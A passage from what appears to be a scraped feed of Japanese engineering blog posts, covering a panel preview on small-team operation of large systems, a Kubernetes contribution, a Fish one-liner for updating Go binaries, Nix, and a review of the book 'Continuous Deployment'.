SmithオライリージャパンAmazonこのような複雑な背景を持つ大規模システムの運用について議論する機会をいただき、大変光栄に思うとともに、その難しさも痛感しております。このブログでは、イベントの概要をお伝えするとともに、私が登壇者として特に議論したいと考えているポイントをご紹介します。大規模システムの効率的な運用に関心のある方々に、このイベントが提供する価値と、当日予想される議論の展開について、参考情報を提供できればと思います。イベント概要と登壇の意気込み「大規模システムを少人数で効率的に、そして安全に運用する工夫」をテーマにしたパネルディスカッションに登壇することになりました。このイベントでは、大規模システムの効率的な運用に関する最新のトレンドと実践的なアプローチについて議論したいです。イベントで期待すること時間の制約があるため、全ての話題を深く掘り下げることは難しいですが、以下のような内容について議論できればと思っています。1. 運用設計の重要性の再確認大規模システムの運用における設計の重要性について、特にプロセスの標準化と自動化について様々な観点から議論が展開されることを期待しています。特に注目したいのは、継続的デリバリーに関する最新トレンドです。これらは、効率的な運用の基盤となるものであり、常に進化し続けています。同時に、効果的な監視(Monitoring)と観測可能性(Observability)確保のベストプラクティスも重要なトピックです。システムの健全性を常に把握し、問題を早期に発見・対処するための手法は、大規模システム運用の要となります。さらに、実際の現場での継続的改善サイクルの実践例と、それに伴う課題についても深く掘り下げたいと考えています。理論と実践のギャップを埋め、実効性のある改善活動を展開するための知見が共有されることを期待しています。最後に、大規模システム特有のリスク管理とインシデント対応の効果的アプローチについても議論したいと思います。予期せぬ障害や障害への迅速かつ適切な対応は、システムの信頼性維持に不可欠です。これらのトピックを通じて、参加者の皆様が自身の環境で「次に効率化に取り組むべき観点」を見出すヒントになればと思います。限られた時間ではありますが、できるだけ具体的な事例や実践的なアドバイスを共有できるよう努めたいと考えています。運用設計の重要性を再確認し、その効果的な実践方法について深い洞察を得られる場となることを目指したいです。2. 現代的アプローチによる大規模システム運用の効率化大規模システムの効率的な運用を実現するためには、Platform Engineering、DevOps、CCoE(Cloud Center of Excellence)、そしてSRE(Site Reliability Engineering)といった現代的なアプローチの統合的な活用が不可欠です。これらの概念は、それぞれが独自の強みを持ちながら、相互に補完し合うことで、システム運用の効率性と信頼性を大きく向上させます。これらをスピーカーの方々がどう展開していくか楽しみです。各概念については概要とおすすめ資料を貼っておきます。2.1 Platform EngineeringPlatform Engineeringは、開発者の生産性向上と業務効率化の要となる重要な分野です。議論の中心となるのは、開発者体験(Developer Experience)向上の具体的な方策です。これには、内部プラットフォーム構築のケーススタディやセルフサービス化によるデベロッパーの生産性向上が含まれます。また、プラットフォームの標準化と柔軟性のバランスを取ることの重要性も探ります。これらのトピックについて理解を深めるため、以下の資料も参考にしてほしいです。cloud.google.com speakerdeck.comlearning.oreilly.com speakerdeck.com2.2 DevOpsDevOpsの実践は、開発と運用の壁を取り払い、より効率的なシステム運用を実現します。ここでは、開発と運用の統合によるメリットと課題、CI/CDの最新プラクティスと導入のポイントについて議論したいです。「You build it, you run it」原則の実践方法や、自動化とツール化の成功事例も重要なトピックとなります。これらの議論を深めるため、以下の資料も参考にしてほしいです。learning.oreilly.comlearning.oreilly.comcloud.google.comweb.devopstopologies.comwww.ryuzee.com speakerdeck.com2.3 CCoE(Cloud Center of Excellence)CCoEは、組織全体のクラウド活用を最適化し、ガバナンスを確立する上で重要な役割を果たします。クラウドベストプラクティスの確立と普及方法、マルチクラウド環境でのガバナンス戦略、クラウドコスト最適化の具体的アプローチなどが主要な議論のポイントとなります。これらのトピックについて、以下の資料も参考にしてほしいです。aws.amazon.comtechblog.ap-com.co.jpDXを成功に導くクラウド活用推進ガイド CCoEベストプラクティス作者:黒須 義一,酒井 真弓,遠山 陽介,伊藤 利樹,饒村 吉晴日経BPAmazonca-srg.dev2.4 SRE(Site Reliability Engineering)[おまけ]SREは、システムの信頼性を維持しながら、イノベーションを促進するための重要な概念です。SLI(Service Level Indicator)とSLO(Service Level Objective)の効果的な設定と運用、エラーバジェットの活用による信頼性とイノベーションのバランス管理について議論したいです。また、トイル(反復的な手作業)の削減戦略とその効果、インシデント管理とポストモーテムの実践についても触れる予定です。これらのトピックについて、以下の資料も参考にしてほしいです。www.oreilly.co.jp speakerdeck.com speakerdeck.comsyu-m-5151.hatenablog.com各セッションでの私は、これらの資料を参考にしつつ、最新の事例や実践的なアプローチについて議論を展開したいです。参加者の皆様にとって、自組織での適用に役立つ具体的な知見を得られる機会となることを期待しています。3. 大規模システムの効率的運用の課題と対策についての議論大規模システムを少人数で効率的に運用するには、技術面だけでなく組織面での工夫も重要です。このセッションでは、実際の運用現場で直面する課題とその対策について、私の経験から得た洞察を共有します。これらのトピックについても登壇者や参加者の皆さまと当日お話ができれば嬉しいです。当日はおそらく具体性の高いテーマについてそれぞれ話すと思うのですが、ここでは私のスタンスを決めておくために抽象的な話をしたいと思います。具体と抽象作者:細谷 功dZERO(インプレス)Amazonまた、人の具体的な技術や現場の話を聞く時のコツは相手がどのような立場の人間でどういう悩みをもっているか想像したり知ることで理解が深まります。この点について、コミュニケーションの観点からさらに掘り下げると、以下のような考察ができます。相手の立場や悩みを想像することで理解が深まるのは、各個人が独自の知識体系や思考の枠組みを持ち、認知バイアスの影響を受けているため、効果的なコミュニケーションには相手の考えや感情を推測する能力と自己の思考を客観視する能力が重要だからです。これらの点を意識することで、大規模システムの運用に関する議論や情報共有がより実りあるものになると考えています。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazon3.1 大規模システム運用の現実と組織的課題理想的な運用モデルと実際の運用現場のギャップについて考察したいです。理論と実践の乖離を埋めるための具体的なアプローチや、現場の声を活かした運用モデルの最適化事例を聞きたいです。また、少人数チームでの大規模システム運用における組織的な課題とその解決策を探りたいです。リソース制約下での効果的なタスク分配と優先順位付け、クロスファンクショナルスキルの育成による柔軟な人員配置などが重要なポイントとなります。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon3.2 効率的な運用を支える組織文化の構築HRT(Humility, Respect, Trust)原則を基盤とした少人数チームの強化方法について議論したいです。チーム内でのオープンなフィードバック文化の醸成や、相互理解と信頼関係を深めるためのチームビルディング活動の重要性を強調したいです。さらに、システム/サービスの価値を組織全体で共有するための効果的なコミュニケーション手法を探りたいです。定期的な全体会議やニュースレターを活用した情報共有、ビジュアライゼーションツールを用いたシステム価値の可視化などが具体的な方策となります。Team Geek ―Googleのギークたちはいかにしてチームを作るのか作者:Brian W. Fitzpatrick,Ben Collins-SussmanオライリージャパンAmazon3.3 段階的アプローチによる運用改善と組織変革スモールスタートの重要性と組織全体への展開方法を議論したいです。パイロットプロジェクトの選定と成功事例の横展開、段階的な改善プロセスの設計と各フェーズでの評価指標の設定などが重要です。また、少人数チームでの定点観測会の効果的な運営とステークホルダーマネジメントについて考察したいです。データ駆動型の定点観測会の実施方法と成果の可視化、ステークホルダーの期待値管理と効果的な報告体制の構築などが焦点となります。業務改革の教科書--成功率9割のプロが教える全ノウハウ (日本経済新聞出版)作者:白川克,榊巻亮日経BPAmazon3.4 大規模システムの効率的な運用設計と組織的活用少人数チームの生産性を向上させる運用設計の実践事例を聞きたいです。標準化されたプロセスとツールの導入によるチーム効率の向上、自動化を活用した日常的なオペレーションの効率化、チーム間のナレッジ共有を促進する仕組みづくりなどが重要なポイントです。また、組織の成長に合わせた運用設計の進化と最適化について議論したいです。スケーラブルな運用モデルの設計と段階的な導入方法、変化する事業ニーズに柔軟に対応できる運用設計のアプローチ、継続的な改善サイクルを組み込んだ運用設計プロセスの確立などが焦点となります。「変化を嫌う人」を動かす: 魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル草思社Amazon3.5 技術的改善の価値を組織全体で共有する方法「信頼性は会話です」という考え方を組織文化に組み込む実践例を聞きたいです。定期的な信頼性レビュー会議の実施と改善点の共有、チーム横断的な信頼性向上タスクフォースの設置などが具体的な方策となります。また、ITIL 4フレームワークを活用した組織横断的な価値創出事例を共有し、ITILのベストプラクティスを組織の特性に合わせてカスタマイズする方法やサービス価値システムの構築と継続的な最適化プロセスについて議論したいです。さらに、少人数チームの技術的改善を経営層に効果的に伝えるテクニックを探りたいです。ビジネス指標と技術指標を紐付けた改善効果の可視化、経営層向けダッシュボードの設計と定期的な報告会の実施などが重要なポイントとなります。【ITIL4公認】ITIL 4の基本 図解と実践作者:中 寛之日経BPAmazon3.6 継続的な改善を推進する組織体制の構築「始めるより続けることの方が難しい」という現実に対する組織的アプローチを議論したいです。長期的な改善ロードマップの設計と定期的な見直しプロセス、改善活動の成果を評価・表彰する仕組みの導入などが焦点となります。また、少人数チームでの理論、実践、モチベーションのバランスを保つ具体的な方法を探りたいです。学習と実践のサイクルを組み込んだ業務設計、チーム内でのスキルマトリクスの活用と成長機会の創出などが重要なポイントです。企業変革のジレンマ 「構造的無能化」はなぜ起きるのか作者:宇田川元一日経BPAmazon3.7 運用原則の組織への効果的な導入新しい運用原則の導入事例と組織全体への展開方法を聞きたいです。運用原則の核心的要素の段階的導入計画(例:SREの場合のエラーバジェット概念)、新しい運用文化の醸成とエンジニアリング組織全体への浸透策、様々な運用原則(SRE、DevOps、ITIL等)の基本概念を組織に適用する方法などが焦点となります。また、定量的指標を活用した組織的な意思決定プロセスについて議論し、サービスレベル目標(例:SLO)の設定プロセスとステークホルダーとの合意形成手法、リスクベースの優先順位付けと資源配分のための指標活用(例:エラーバジェット)などを探りたいです。さらに、インシデント管理と事後分析を組織の学習文化に組み込む方法を考察し、責任追及ではなく改善を重視する文化を醸成するための事後分析ガイドラインの策定、インシデントからの学びを組織知識として蓄積・活用するナレッジマネジメントシステムの構築などについて議論したいです。【改訂新版】システム障害対応の教科書作者:木村 誠明技術評論社Amazon大規模システムの効率的な運用は、技術と組織の両面からのアプローチが不可欠です。少人数チームでの運用という制約の中で、いかに組織の力を最大限に引き出し、システムの安定性と効率性を両立させるか。この課題に対する様々な視点と解決策について、参加者の皆様と活発な議論ができることを楽しみにしています。おわりにこのイベントが、大規模システムの効率的な運用に関する深い洞察と実践的な知見を共有される場となることを強く期待しています。Platform Engineering、DevOps、CCoE、SREの概念を適切に組み合わせ、各組織の特性に合わせてカスタマイズする方法について、参加者全員で活発な議論ができることを楽しみにしています。大規模システムの運用の正解は常に変化し続けるものです。このイベントでの学びを通じて、参加者それぞれが自社のシステム運用を見直し、改善していくきっかけになれば幸いです。登壇者の一人として、皆様と直接対話し、互いの経験や知見を共有できることを心から楽しみにしています。ぜひ多くの方にご参加いただき、一緒に大規模システムの効率的な運用について語り合いましょう!イベントの詳細や参加方法については、イベント公式ページをご確認ください。皆様のご参加を心よりお待ちしております。なお、このブログは私の思いつくままに書いたため、やや散文的になってしまいました。しかし、ここに記した考えや情報が、大規模システムの運用に関わる方々にとって何かしらの参考になれば幸いです。私自身、このイベントを通じてさらに学びを深め、より洗練された見解を得られることを楽しみにしています。www.youtube.com","isoDate":"2024-10-15T01:15:16.000Z","dateMiliSeconds":1728954916000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"[Sidecar Containers] Pod Eviction 時のメッセージの改善","link":"https://zenn.dev/toversus/articles/d78254ad757094","contentSnippet":"はじめに先日 Kubernetes で報告されていたバグを修正する PR を送りました。その時に、今後 Kubernetes へのコントリビュートを考えている方の参考になればと思い、どう取り組んだか (Issue の読み解き方やローカル環境での再現、コードの修正、テストの追加などの一通りの流れ) を脳内ダンプして言語化してみました。それを社内向けに共有していたのですが、PR も無事にマージされたので、一部加筆修正して記事として公開します。Issue: [Sidecar Containers] Eviction message should account for the sid...","isoDate":"2024-10-14T07:39:56.000Z","dateMiliSeconds":1728891596000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"スリーシェイク、「Biz/Zine Day 2024 Autumn」に出展","link":"https://sreake.com/blog/biz-zine-day-2024-autumn/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)が提供するSRE総合支援サービス「Sreake(スリーク)」は、2024年10月30日(水) に開催される「Biz/Zine Day 2024 Autumn」にブース出展することをお知らせします。The post スリーシェイク、「Biz/Zine Day 2024 Autumn」に出展 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-10-10T01:18:48.000Z","dateMiliSeconds":1728523128000,"authorName":"Sreake","authorId":"Sreake"},{"title":"FishでGoパッケージを一括更新したいのでワンライナー","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/09/180510","contentSnippet":"はじめにGoプログラマーにとって、パッケージを最新の状態に保つことは重要な作業だ。しかし、複数のパッケージを個別に更新するのは時間がかかり、効率が悪い。そこで今回は、Fishシェルを使用してGoパッケージを一括更新する堅牢なワンライナーを紹介する。このワンライナーは、様々な環境設定に対応できる柔軟性を持ち、効率的にパッケージを更新できる強力なツールだ。ワンライナーの全容まずは、このワンライナーの全体像を見てみよう。set -l gobin (go env GOBIN); test -z \\"$gobin\\" && set gobin (go env GOPATH)/bin; for f in $gobin/*; if test -x $f; set pkg (go version -m $f | awk \'/mod /{print $2}\'); test -n \\"$pkg\\" && go install \\"$pkg@latest\\"; end; end一見複雑に見えるこのコマンドだが、実は論理的に構成された複数の処理の組み合わせである。以下、各部分の役割と動作原理を詳しく解説していく。ワンライナーの解剖dic.pixiv.net1. GOBINの設定と確認set -l gobin (go env GOBIN); test -z \\"$gobin\\" && set gobin (go env GOPATH)/bin;この部分は、Goバイナリのインストール先ディレクトリを特定する役割を果たす。set -l gobin (go env GOBIN):GOBINの値を取得し、ローカル変数gobinに格納する。test -z \\"$gobin\\" && set gobin (go env GOPATH)/bin:gobinが空の場合(つまりGOBINが設定されていない場合)、GOPATH/binをデフォルトとして使用する。この処理により、GOBINの設定の有無に関わらず適切なディレクトリを使用できる柔軟性を確保している。2. ディレクトリ内のファイル処理for f in $gobin/*; ...; end$gobinディレクトリ内の全ファイルに対してループ処理を行う。これにより、インストールされている全てのGoバイナリを対象に処理を実行できる。3. 実行可能ファイルの選別if test -x $f; ...; endtest -x $fで、ファイル$fが実行可能かどうかをチェックする。これにより、実行可能なバイナリファイルのみを処理対象とし、不要なファイルを除外している。4. パッケージ情報の抽出set pkg (go version -m $f | awk \'/mod /{print $2}\')go version -m $fコマンドでバイナリファイルのモジュール情報を取得し、awkコマンドを使用してパッケージ名を抽出する。この結果をpkg変数に格納する。5. パッケージの更新test -n \\"$pkg\\" && go install \\"$pkg@latest\\"pkg変数が空でないことを確認し、有効なパッケージ名が得られた場合のみgo install \\"$pkg@latest\\"を実行して最新バージョンにアップデートする。このワンライナーの利点環境適応性: GOBINの設定の有無に関わらず動作する。安全性: 実行可能ファイルのみを処理し、有効なパッケージ名が得られた場合のみ更新を試みる。効率性: 一行で全ての処理を完結させ、高速に実行できる。汎用性: 様々なGo開発環境で使用できる。使用上の注意点このワンライナーは、Fishシェル専用である。Bash等の他のシェルでは動作しない。GOPATHが正しく設定されていることを前提としている。大量のパッケージがある場合、実行に時間がかかる可能性がある。まとめ本記事で紹介したワンライナーは、Goプログラマーの日常的なタスクを大幅に簡略化し、開発環境を最新に保つ強力なツールとなる。環境設定の違いに柔軟に対応し、安全かつ効率的にパッケージを更新できる点が大きな魅力だ。このワンライナーを自分の開発フローに組み込むことで、常に最新のGoパッケージを使用した、より効率的で安全な開発が可能になる。ぜひ試してみてほしい。Goプログラミングの世界は日々進化している。このワンライナーを活用し、最新の機能や改善を逃さず、より良いコードを書く手助けとしてほしい。他にいい方法があればおしえてください。","isoDate":"2024-10-09T09:05:10.000Z","dateMiliSeconds":1728464710000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"nix-shellでRを使う","link":"https://blog.atusy.net/2024/10/07/nix-shell-and-r/","contentSnippet":"NixはLinuxやUnix向けのパッケージマネージャーです。nix-env --install Rとしてグローバルに利用可能なRをインストールすることもできますが、nix-shell --package Rして一時的なR環境をbash上に構築することもできます。R本体やパッケージのバージョン指定も可能なので、プロジェクトごとにパッケージのバージョン指定が異なる場合や、グローバル環境にインストールしたパッケージとプロジェクト用パッケージで依存関係が衝突する場合に便利です。","isoDate":"2024-10-07T00:00:00.000Z","dateMiliSeconds":1728259200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"スリーシェイク、Generative AI Summit Tokyo ’24 Fall に協賛","link":"https://sreake.com/blog/generative-ai-summit-tokyo-24-fall/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、2024年10月8日(火)にGoogle 渋谷オフィスで開催される「Modern Infra & Apps Summit ’24」 (主催:グーグル・クラウド・ジャパン合同会社) にスポンサーとして協賛し、セッション登壇することをお知らせします。The post スリーシェイク、Generative AI Summit Tokyo ’24 Fall に協賛 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-10-03T01:12:24.000Z","dateMiliSeconds":1727917944000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ポストCloud9?クラウドIDE CoderでPlatform Engineeringを実践する","link":"https://sreake.com/blog/platform-engineering-with-cloud-ide-coder/","contentSnippet":"はじめに こんにちは、Sreake事業部の志羅山です。 早いものでもう10月。私が住む長野県はもう朝晩の気温は10℃台となり、日中もとても過ごしやすい気候です。振り返ると今年の夏は天気も不安定で、とても暑い夏でしたね・・ […]The post ポストCloud9?クラウドIDE CoderでPlatform Engineeringを実践する first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-10-03T00:44:56.000Z","dateMiliSeconds":1727916296000,"authorName":"Sreake","authorId":"Sreake"},{"title":"BigQuery データキャンバスについて","link":"https://sreake.com/blog/learn-about-bigquery-datacanvas/","contentSnippet":"はじめに こんにちは。Sreake事業部DBREチームのsenoです。10月に入り、暦の上では秋となりました。とはいえ夏の暑さはまだまだ続いておりますね。 最近は、気持ちだけでも秋を感じるために「〇〇の秋」と称して色々や […]The post BigQuery データキャンバスについて first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-10-02T09:25:24.000Z","dateMiliSeconds":1727861124000,"authorName":"Sreake","authorId":"Sreake"},{"title":"いいぞいいぞと言われるnixをためしてる","link":"https://blog.atusy.net/2024/10/02/trying-nix/","contentSnippet":"NixはLinuxやUnix向けのパッケージマネージャーです。ぱっと5つメリットをあげるとこんなところでしょうか。様々なLinuxディストリビューションやmacOSで使える再現性がありロールバックも可能入れたいパッケージごとに依存関係を独立して管理するので、Aを入れるにはBのバージョンアップが必要みたいな問題が起きない特定のプロジェクト(ディレクトリ)ごとに使うパッケージを変えられる設定ファイルも含めた構成管理ソフトウェアとしても使える最近、スリーシェイクに転職して、職場のPCがmacOSになりました。以前は仕事もプライベートもmanjaro linuxで統一していたのでとりあえずparuを使えばよかったのですが、そうも言ってられないので、Nixを使ってみることにしました。","isoDate":"2024-10-02T00:00:00.000Z","dateMiliSeconds":1727827200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"継続的デプロイメントの継続的な学習 - Continuous Deployment の読書感想文","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/02/080453","contentSnippet":"自動化は私の忍耐力の限界を補完してくれます。はじめに本書「Continuous Deployment」は、継続的デプロイメントの実践に焦点を当てた包括的なガイドです。継続的デプロイメントは、ソフトウェアパイプラインを完全に自動化し、手動介入を必要としない手法です。この方法により、クオリティーゲートを通過したすべてのコードコミットが自動的に本番環境にデプロイされます。私は、ソフトウェア開発の現場で、オンプレミスの手動デプロイから始まり、Makefileによる自動化、JenkinsやCircleCI、GitHub Actions、GitLab CI/CD、AWS CodePipeline、Cloud Build 、ArgoCD、PipeCDなど、様々なツールや手法を経験してきました。この過程で、継続的デプロイメントが開発プロセスを改善し、ビジネス価値を創出する様子を目の当たりにしました。継続的デプロイメントは、継続的インテグレーション(CI)と継続的デリバリー(CD)の実践をさらに進めたものです。CIは開発者のコード変更を頻繁にメインブランチに統合し、CDはそのコードをいつでもリリース可能な状態に保ちます。継続的デプロイメントでは、すべての変更が自動的に本番環境にデプロイされます。開発者がコードをメインブランチにプッシュまたはマージすると、自動化されたパイプラインがそのコードをビルド、テスト、本番環境へデプロイします。人間による最終承認のステップは存在せず、品質チェックをパスしたすべての変更が即座に本番環境に反映されます。Continuous Deployment: Enable Faster Feedback, Safer Releases, and More Reliable Software作者:Servile, ValentinaO\'Reilly MediaAmazon本書は、継続的デプロイメントの理論的基礎から実践的適用まで幅広く網羅しています。各章の概念や戦略は、業界の専門家たちの知見に基づいています。特に、フィーチャーフラグ、カナリーリリース、A/Bテストなどの手法は、現代のソフトウェア開発に不可欠です。継続的デプロイメントの価値は、ソフトウェア開発の特性と人間の性質を理解することで明確になります。ソフトウェア開発は多くの小規模で反復的なタスクの集合体です。例えば、設定ファイルの更新後のコード自動生成、コード変更後のビルドとテスト実行、テスト結果のレポート作成、リリース用ファイルの準備とパッケージングなどです。人間はこのような単調な反復作業を得意としません。創造的思考や問題解決には長けていますが、同じタスクを正確に繰り返すことは苦手です。時間とともに集中力が低下し、作業の精度も落ちます。一方、コンピューターシステムはこの種の反復作業に適しています。与えられた指示を疲れることなく、一定の精度で遂行できます。継続的デプロイメントは、人間と機械の特性の違いを活かし、相互補完的に活用します。コード変更から本番環境へのデプロイまでを完全に自動化することで、開発者は創造的な問題解決に注力でき、反復的なタスクはシステムに任せることができます。結果として、ソフトウェア開発プロセス全体の効率が向上し、人的ミスのリスクも減少します。本書は、技術的側面だけでなく、組織文化やチーム間の協力体制についても掘り下げています。また、継続的デプロイメントがもたらすソフトウェアのリリースサイクルの短縮や、ユーザーへのフィードバックループの最小化についても解説しています。同時に、この手法がコードの品質管理やテスト戦略により高い要求を課すことも重要です。本書では、強固な自動テスト、モニタリング、迅速なロールバック機能など、継続的デプロイメントを成功させるために不可欠な安全策についても説明しています。この本を通じて、継続的デプロイメントの本質を理解し、プロジェクトや組織に適用するための実践的なアイデアを得ることができます。以下に、私の読書体験と個人的な見解を交えた感想文を記します。この本は、継続的デプロイメントの理念と実践について詳しく解説しています。技術的な手法の説明だけでなく、ソフトウェア開発の本質と人間の特性を考慮した、効果的な開発プロセスの構築方法を提示しています。私自身、この本を通じて継続的デプロイメントの価値を再認識し、新たな視点を得ることができました。この本は、ソフトウェア開発の将来を示唆する重要な一冊だと確信しています。そのため、来年の「このSRE本がすごい!」にも追加したいと考えています。syu-m-5151.hatenablog.comこの本を通じて、継続的デプロイメントの意義を理解し、開発プロセスを改善するヒントを見出せることを願っています。I. Continuous DeploymentChapter 1. Continuous Deployment第1章「Continuous Deployment」は、継続的デプロイメントの基本概念から始まり、その歴史的背景、重要性、実践哲学、そして「効果的な」継続的デプロイメントの特性に至るまで、幅広いトピックをカバーしています。この章を通じて、継続的デプロイメントの本質と、それがソフトウェア開発においてどのような役割を果たすかを明確に示しています。継続的デプロイメントの進化と重要性ソフトウェア開発の歴史を振り返ることから始め、かつては月単位や年単位でリリースが行われていた時代から、現在の日次または週次リリースへの変遷を説明しています。この変化は、ビジネスニーズの変化に迅速に対応する必要性から生まれたものです。Figure 1-1. The typical path to production before the early 2000s より引用特に印象的だったのは、「If it hurts, do it more often:痛いなら、もっと頻繁にやればいい」というeXtreme Programming (XP)の原則です。この原則は、痛みを伴うプロセス(例えば、デプロイメント)を頻繁に行うことで、そのプロセスを改善し、最終的には痛みを軽減できるという考え方です。継続的デプロイメントの基本的な思想を表していると言えます。この原則は、私自身の経験とも非常に共鳴します。例えば、以前参加していたプロジェクトでは、月に1回の大規模なリリースが常にストレスフルで、多くのバグや障害を引き起こしていました。そこで、我々はリリース頻度を週1回に増やし、各リリースの規模を小さくしました。最初は大変でしたが、徐々にプロセスが改善され、最終的にはリリース作業が日常的な業務の一部になりました。これにより、バグの早期発見や迅速な修正が可能になり、システムの安定性が大幅に向上しました。DevOpsとの関連性DevOpsの概念と継続的デプロイメントの関係性についても詳しく説明しています。DevOpsは、開発(Dev)と運用(Ops)の壁を取り払い、両者の協力を促進する文化や実践を指します。継続的デプロイメントを実現する上で不可欠な要素です。DevOpsの実践は、継続的デプロイメントを支える重要な基盤となります。例えば、インフラストラクチャのコード化(Infrastructure as Code)は、環境の一貫性を保ち、デプロイメントの自動化を可能にします。また、モニタリングやロギングの改善は、迅速なフィードバックループを確立し、問題の早期発見と解決を支援します。私の経験から、DevOpsの実践は継続的デプロイメントの成功に不可欠だと強く感じています。以前、開発チームと運用チームが分断されていた組織で働いていましたが、デプロイメントの度に混乱が生じ、問題の解決に時間がかかっていました。DevOpsの原則を導入し、両チームが協力してデプロイメントパイプラインを設計・実装することで、プロセスが大幅に改善されました。特に、開発者が運用の視点を持ち、運用チームが開発プロセスを理解することで、より堅牢で管理しやすいシステムが構築できるようになりました。継続的インテグレーションと継続的デリバリー継続的インテグレーション(CI)と継続的デリバリー(CD)について詳しく説明し、これらが継続的デプロイメントの前身となる重要な実践であることを強調しています。CIは、開発者の変更を頻繁にメインブランチに統合する実践です。これにより、統合の問題を早期に発見し、修正することが可能になります。CDは、CIをさらに発展させ、ソフトウェアをいつでもリリース可能な状態に保つ実践です。この辺は読んだことがない場合にはこちらの書籍がおすすめである。Grokking Continuous Delivery (English Edition)作者:Wilson, ChristieManningAmazon日本語版もあるので入門 継続的デリバリー ―テストからリリースまでを安全に自動化するソフトウェアデリバリーのプロセス作者:Christie WilsonオライリージャパンAmazonこれらの説明は、経験してきたCIとCDの導入過程と非常に一致しています。例えば、以前のプロジェクトでは、開発者が長期間にわたって個別のブランチで作業し、統合時に大きな問題に直面することがよくありました。CIを導入し、小さな変更を頻繁に統合するようにしたことで、これらの問題は大幅に減少しました。CDの導入は、さらに大きな変化をもたらしました。以前は、リリース前の数日間を集中的なテストとバグ修正に費やしていましたが、CDを導入することで、ソフトウェアが常にリリース可能な状態を維持できるようになりました。これにより、リリースのストレスが大幅に軽減され、新機能や修正をより迅速にユーザーに届けられるようになりました。継続的デプロイメントの定義と実装継続的デプロイメントを「コミットがメインブランチにプッシュまたはマージされると、すべてのクオリティーゲートが緑色である限り、必ず本番デプロイメントが行われる」と定義しています。CI/CDの次の進化段階と言えるでしょう。Figure 1-2. The typical path to production today より引用継続的デプロイメントの実装は、一見シンプルに見えます。著者が説明するように、既存のCDパイプラインの本番デプロイメントステップを再構成するだけで済む場合が多いからです。しかし、これは技術的な実装の話で、課題は組織文化や開発プラクティスの変革にあります。私の経験から、継続的デプロイメントへの移行は技術的な課題よりも、組織的・文化的な課題の方が大きいと感じています。例えば、あるプロジェクトで継続的デプロイメントを導入しようとした際、技術的な準備は比較的容易でしたが、チームメンバーの不安やステークホルダーの抵抗に直面しました。特に、「本番環境に直接デプロイすることの危険性」や「品質管理の不安」といった懸念が大きかったです。これらの課題を克服するためには、段階的なアプローチと綿密なコミュニケーションが不可欠でした。まず、小規模なサービスから始めて成功事例を作り、徐々に規模を拡大していきました。また、自動テストの拡充や監視の強化を行い、問題が発生しても迅速に検知・対応できる体制を整えました。さらに、チーム全体でのレビュープロセスの改善や、フィーチャーフラグの活用など、コードの品質を担保するための施策も導入しました。継続的デプロイメントの影響と課題継続的デプロイメントの採用が開発プロセス全体に与える影響について詳しく説明しています。例えば、未完成のコードの隠蔽方法、後方互換性の確保、他の本番サービスとの契約の維持、デプロイメントとフィーチャーリリースの分離などの課題が挙げられています。これらの課題は、私の経験とも深く共鳴します。例えば、継続的デプロイメントを導入した際、未完成の機能をどのように本番環境に安全にデプロイするかが大きな課題となりました。この問題に対処するため、我々はフィーチャーフラグを積極的に活用し、コード自体は本番環境にデプロイしつつ、機能の有効化は制御できるようにしました。これにより、大規模な変更でも段階的なロールアウトが可能になり、リスクを最小限に抑えることができました。また、後方互換性の確保も重要な課題でした。特に、マイクロサービスアーキテクチャを採用している環境では、サービス間の整合性を維持することが不可欠です。この課題に対しては、APIのバージョニング戦略の導入や、コンシューマー駆動契約テスト(Consumer-Driven Contract Testing)の実施など、複数のアプローチを組み合わせて対応しました。継続的デプロイメントのリスクと安全性継続的デプロイメントのリスクについても率直に触れています。各変更が即座に本番環境に反映されるため、不適切な変更が複雑なサービス網に影響を与える可能性があります。このリスクへの対処は、重要な責務の一つです。私の経験では、以下のような戦略が効果的でした:段階的なロールアウト:カナリアリリースやブルー/グリーンデプロイメントを活用し、変更の影響を限定的に確認できるようにしました。自動ロールバック:問題が検出された場合に自動的に前のバージョンに戻すメカニズムを実装しました。高度な監視と警報:詳細なメトリクスの収集と、異常を即座に検知できる警報システムを構築しました。カオスエンジニアリング:意図的に障害を注入し、システムの回復力を継続的にテストしました。これらの施策により、継続的デプロイメントのリスクを大幅に軽減し、同時にシステムの信頼性と回復力を向上させることができました。結論継続的デプロイメントが単なる技術的な実装以上のもので、ソフトウェア開発プロセス全体の再考を要する実践であることを強調しています。継続的デプロイメントは、開発サイクルを劇的に短縮し、フィードバックループを最小化することで、ソフトウェア開発の効率と品質を大幅に向上させる可能性を秘めています。しかし、その実現には技術的な課題だけでなく、組織文化や開発プラクティスの根本的な変革が必要です。私の経験から、継続的デプロイメントの成功には複数の要素が不可欠だと考えています。まず、テスト、デプロイメント、監視のあらゆる面で強力な自動化を推進することが重要です。これにより、人為的ミスを減らし、プロセスの一貫性と速度を向上させることができます。次に、「本番環境に直接デプロイする」という責任を全員が理解し、高品質なコードを書くことへの強いコミットメントが必要です。これは単なる技術的スキルだけでなく、チーム全体の姿勢の問題でもあります。さらに、問題が発生した際に責任追及ではなく、システム改善の機会として捉える文化を醸成することが重要です。失敗から学び、それを今後の改善につなげる姿勢が、継続的な進歩を可能にします。最後に、デプロイメントプロセスや関連するプラクティスを常に見直し、改善し続けることが不可欠です。技術や環境の変化に合わせて、常にプロセスを最適化していく必要があります。継続的デプロイメントは、ソフトウェア開発の未来を象徴する実践です。その導入には多くの課題がありますが、適切に実装することで、開発効率の向上、市場投入までの時間短縮、そしてより高品質なソフトウェアの提供が可能になります。この章は、